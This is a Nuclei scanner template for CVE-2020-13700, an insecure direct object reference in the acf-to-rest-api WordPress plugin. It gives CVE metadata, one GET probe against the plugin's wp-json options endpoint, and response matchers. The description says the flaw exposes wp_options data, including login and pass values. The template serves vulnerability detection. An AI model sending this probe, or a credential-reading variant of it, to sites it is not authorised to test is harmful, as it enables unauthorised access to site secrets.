nuclei-templates/cves/2020/CVE-2020-13700.yaml

44 lines
1.2 KiB
YAML

id: CVE-2020-13700
info:
name: acf-to-rest-api wordpress plugin IDOR
author: pikpikcu
severity: high
description: |
An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.
It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a
wp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values.
reference:
- https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
- https://wordpress.org/plugins/acf-to-rest-api/#developers
- https://github.com/airesvsg/acf-to-rest-api
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-13700
cwe-id: CWE-639
tags: cve,cve2020,wordpress,plugin
requests:
- method: GET
path:
- '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins'
matchers-condition: and
matchers:
- type: word
words:
- 'Content-Type: application/json'
part: header
- type: word
words:
- 'acf-to-rest-api\/class-acf-to-rest-api.php'
part: body
condition: and
- type: status
status:
- 200